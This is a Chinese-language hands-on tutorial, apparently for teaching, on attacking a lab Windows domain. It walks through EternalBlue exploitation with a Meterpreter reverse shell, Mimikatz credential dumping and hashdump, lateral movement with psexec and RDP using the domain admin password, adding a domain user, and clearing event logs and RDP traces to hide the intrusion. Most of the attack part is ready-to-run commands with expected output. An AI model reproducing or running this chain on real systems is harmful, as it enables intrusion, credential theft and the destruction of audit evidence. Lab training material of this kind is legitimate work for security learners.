Windows 7 + Windows Server 2008 域环境渗透实战完整教程(详细版・教学专用)
一、教程核心定位与目标
本教程模拟真实内网渗透场景,以 "攻击机打点→拿下客户端→横向移动控域控" 为核心链路,完成从 "边界突破" 到 "内网统治" 的全流程实战。重点覆盖永恒之蓝漏洞利用、Meterpreter 权限操作、域凭证抓取、横向移动、域控接管及痕迹清理等核心技能,适配渗透测试新手入门及教学演示,所有操作均附 "命令 + 目的 + 结果解读",确保可复现、易理解。
二、前期环境搭建(教学必讲:环境是实战基础)
2.1 环境架构与核心配置
| 主机角色 | 系统版本 | 固定 IP | 核心配置要求 | 备注(教学重点) |
|---|---|---|---|---|
| 攻击机 | Kali Linux(≥2023 版) | 192.168.10.100 | 1. 关闭防火墙(ufw disable);2. 与目标机同网段(VMnet1 仅主机模式);3. 自带 MSF/Nmap/Crackmapexec | 网段互通是前提,否则攻击失败 |
| 目标客户端(跳板机) | Windows 7 企业版(SP1,x64) | 192.168.10.30 | 1. 加入 "HACKERPTS" 域(域控 IP:192.168.10.20);2. 卸载 MS17-010 补丁;3. 关闭防火墙;4. 本地账号 Butcher(空密码) | 漏洞补丁未卸载则永恒之蓝攻击失败 |
| 目标域控(核心目标) | Windows Server 2008 R2(x64) | 192.168.10.20 | 1. 安装 AD 域服务 + DNS 服务(域名为HACKERPTS.com);2. DNS 指向自身;3. 域管账号 Administrator,密码 Luxiang@83993939;4. 开启 RDP | DNS 配置错误会导致 Win7 加域失败 |
2.2 环境连通性校验(前置必做,避免踩坑)
- Kali 侧 ping 测试:执行
ping 192.168.10.30和ping 192.168.10.20,确保丢包率 0%; - Win7 侧域连通性:CMD 执行
nltest /dclist:HACKERPTS,能显示域控名称(如 WIN-GKL7OK91MGA)则加域成功; - 域控侧服务校验:CMD(管理员)执行
sc query dnsserver和sc query netlogon,确保 DNS/NetLogon 服务为 "RUNNING"。
三、核心渗透流程(分步详解,教学重点)
阶段 1:信息收集 ------ 扫描目标端口与漏洞(打点前必做)
目的:明确 Win7 开放端口,定位攻击面(重点关注 SMB 端口 139/445、RDP 端口 3389)。
-
Kali 终端执行端口扫描命令(跳过 ping 检测,避免 Win7 禁 ping 误判): bash
运行
nmap -Pn -p 139,445,3389 192.168.10.30 -
命令参数解读:
-Pn:跳过主机存活检测,直接扫描端口;-p 139,445,3389:指定扫描 SMB 协议核心端口(139/445,永恒之蓝依赖)和 RDP 远程桌面端口(3389);
-
理想结果(攻击条件满足): text
PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server -
异常处理方案(教学重点,常见坑):
- 若 445 端口显示 "filtered":Win7 防火墙未关,后续可通过 Meterpreter 执行
netsh advfirewall set allprofiles state off关闭; - 若 445 端口显示 "closed":SMB 服务未启动,Win7 侧 CMD 执行
net start lanmanserver启动。
- 若 445 端口显示 "filtered":Win7 防火墙未关,后续可通过 Meterpreter 执行
阶段 2:漏洞利用 ------MS17-010(永恒之蓝)拿下 Win7
核心原理:利用 Win7 未修复的永恒之蓝漏洞(CVE-2017-0144),远程执行代码并获取 System 权限(Windows 最高权限)。
-
启动 MSF 攻击框架:Kali 终端执行
msfconsole(等待加载完成,出现 "msf> " 提示符); -
加载永恒之蓝攻击模块: bash
运行
use exploit/windows/smb/ms17_010_eternalblue -
配置攻击参数(教学时逐行解释,避免死记硬背):
- 设置目标 IP(Win7):
set RHOSTS 192.168.10.30; - 设置载荷(反弹 Meterpreter Shell):
set PAYLOAD windows/x64/meterpreter/reverse_tcp(x64 对应 Win7 64 位系统); - 设置监听 IP(Kali 自身 IP):
set LHOST 192.168.10.100(确保目标机能回连 Kali);
- 设置目标 IP(Win7):
-
发起攻击:执行
exploit,等待命令执行(过程约 10 秒,屏幕会滚动攻击日志); -
攻击成功标志(教学重点,明确结果):屏幕出现
Meterpreter session 1 opened (192.168.10.100:4444 -> 192.168.10.30:52615) at XXXX-XX-XX XX:XX:XX,提示符变为meterpreter >,此时已完全控制 Win7。
阶段 3:权限巩固 ------Win7 凭证抓取与 RDP 开启
目的:抓取 Win7 内的域相关凭证(为横向移动到域控做准备),开启 RDP 方便图形化操作。
-
验证当前权限(教学重点:明确权限级别):Meterpreter 内执行
getuid,结果显示Server username: NT AUTHORITY\SYSTEM,确认是最高权限; -
加载 Kiwi(Mimikatz 新版,凭证抓取神器):执行
load kiwi,出现 "Success" 及 Mimikatz 版本信息则加载成功; -
抓取所有凭证(重点关注域相关凭证):执行
creds_all,核心结果解读(教学时标注重点):text
msv credentials =============== Username Domain NTLM -------- ------ ---- WIN-EHGFCAJG4QV$ HACKERPTS 958f34ff5fb584fea9fd1e2e745a6e60 (域机器账户Hash) wdigest credentials =================== WIN-EHGFCAJG4QV$ HACKERPTS cV[xVvqU ',-.'su7D5a... (域机器账户明文密码)注:
$结尾的账号是域机器账户,域控自动生成,其凭证可用于域内横向移动; -
补充抓取注册表 Hash(避免内存无明文):执行
hashdump,记录本地管理员(Administrator/Butcher)的 NTLM Hash(格式:账号:ID:LM Hash:NTLM Hash:::); -
开启 Win7 RDP(图形化操作必备):执行
run post/windows/manage/enable_rdp,提示 "RDP is already enabled" 则说明已开启,同时会自动放行防火墙规则。
阶段 4:横向移动 ------ 利用域控凭证接管 2008 域控
核心逻辑:Win7 已加入 HACKERPTS 域,域管理员(HACKERPTS\Administrator)拥有域内所有机器的最高权限,利用其凭证从 Win7 跳转到域控(横向移动核心思想)。
4.1 方式 1:RDP 远程登录域控(直观,适合教学演示)
-
退出 Meterpreter 会话(保留后台):Meterpreter 内执行
background,再执行exit -y退出 MSF; -
Kali 侧启动 RDP 连接(重点讲解账号格式): bash
运行
rdesktop 192.168.10.20 -u HACKERPTS\Administrator -p "Luxiang@83993939"- 账号格式:
域名\用户名(HACKERPTS\Administrator),而非 "机器名 \ 用户名",这是新手最易踩的坑; - 密码带特殊符号(@)需加引号,避免终端解析错误;
- 账号格式:
-
登录成功标志:弹出 2008 域控桌面,可打开 "Active Directory 用户和计算机" 等域管理工具。
4.2 方式 2:Psexec 远程获取域控 CMD(更贴合实战,隐蔽性强)
-
Win7 侧打开 CMD(管理员权限,通过 RDP 登录 Win7 后操作);
-
执行远程命令(直接获取域控 CMD): cmd
psexec \\192.168.10.20 -u HACKERPTS\Administrator -p Luxiang@83993939 cmd.exe -
成功标志:弹出新的 CMD 窗口,标题显示 "\192.168.10.20",执行
net user /domain可查看域内所有用户,证明已获取域控权限。
阶段 5:域控权限验证(教学重点:证明完全控制域)
登录域控后,执行以下命令验证域管理员权限,这是 "拿下域控" 的核心证明:
- 查看域内所有用户:
net user /domain; - 查看域管理员组(核心权限组):
net group "Domain Admins" /domain; - 查看域内所有机器:
net view /domain:HACKERPTS; - 新增域用户(可选,教学演示权限):
net user testuser Test@123 /add /domain。
四、常见问题与解决方案(教学重点:避坑指南)
| 问题现象 | 核心原因 | 解决方案 |
|---|---|---|
| RDP 登录提示 "账户已停用" | Win7 本地 Administrator 禁用 | 改用域账号(HACKERPTS\Administrator)登录,域账号默认不受本地禁用规则限制 |
| RDP 登录提示 "账号 / 密码错误" | 账号格式错误 | 切换到 "其他用户",输入完整格式:HACKERPTS\Administrator + 正确密码 |
| 永恒之蓝攻击提示 "Exploit completed, but no session was created" | Win7 系统版本 / 补丁不匹配 | 确认 Win7 为 64 位、卸载 MS17-010 相关补丁、更换载荷为 windows/x86/meterpreter/reverse_tcp(32 位) |
| 复制粘贴命令到终端出现乱码 | 特殊符号转义 | 手动输入命令(尤其是反斜杠 \、@等符号),避免复制粘贴 |
五、痕迹清理(贴合 "野蛮人" 风格:来无影去无踪)
核心目标:删除操作日志、清理连接记录,让渗透行为 "无迹可寻"。
5.1 Win7 侧痕迹清理(RDP 登录后操作)
-
清除系统 / 安全 / 应用程序日志: cmd
wevtutil cl System wevtutil cl Security wevtutil cl Application -
清理 RDP 连接记录: cmd
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f -
关闭 Meterpreter 会话(Kali 侧): bash
运行
msfconsole -q -x "sessions -K"
5.2 域控侧痕迹清理(登录域控后操作)
-
清除域控特有日志(AD/DNS): cmd
wevtutil cl "Directory Service" wevtutil cl "DNS Server" wevtutil cl System wevtutil cl Security -
清理远程连接 IP 记录: cmd
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "LastClientIP" /f
六、教学核心总结(复习重点)
- 内网渗透核心链路:打点(拿下边界机 Win7)→ 凭证抓取 → 横向移动(控域控)→ 权限维持 / 痕迹清理;
- 域环境关键规则:域管理员账号可访问域内所有机器,这是横向移动的核心依据;
- 新手避坑重点:RDP 账号格式(域名 \ 用户名)、命令特殊符号处理、日志清理的必要性;
- 实战核心思想:权限是渗透的核心,System 权限(Win7)→ 域管理员权限(域控)是内网渗透的终极目标。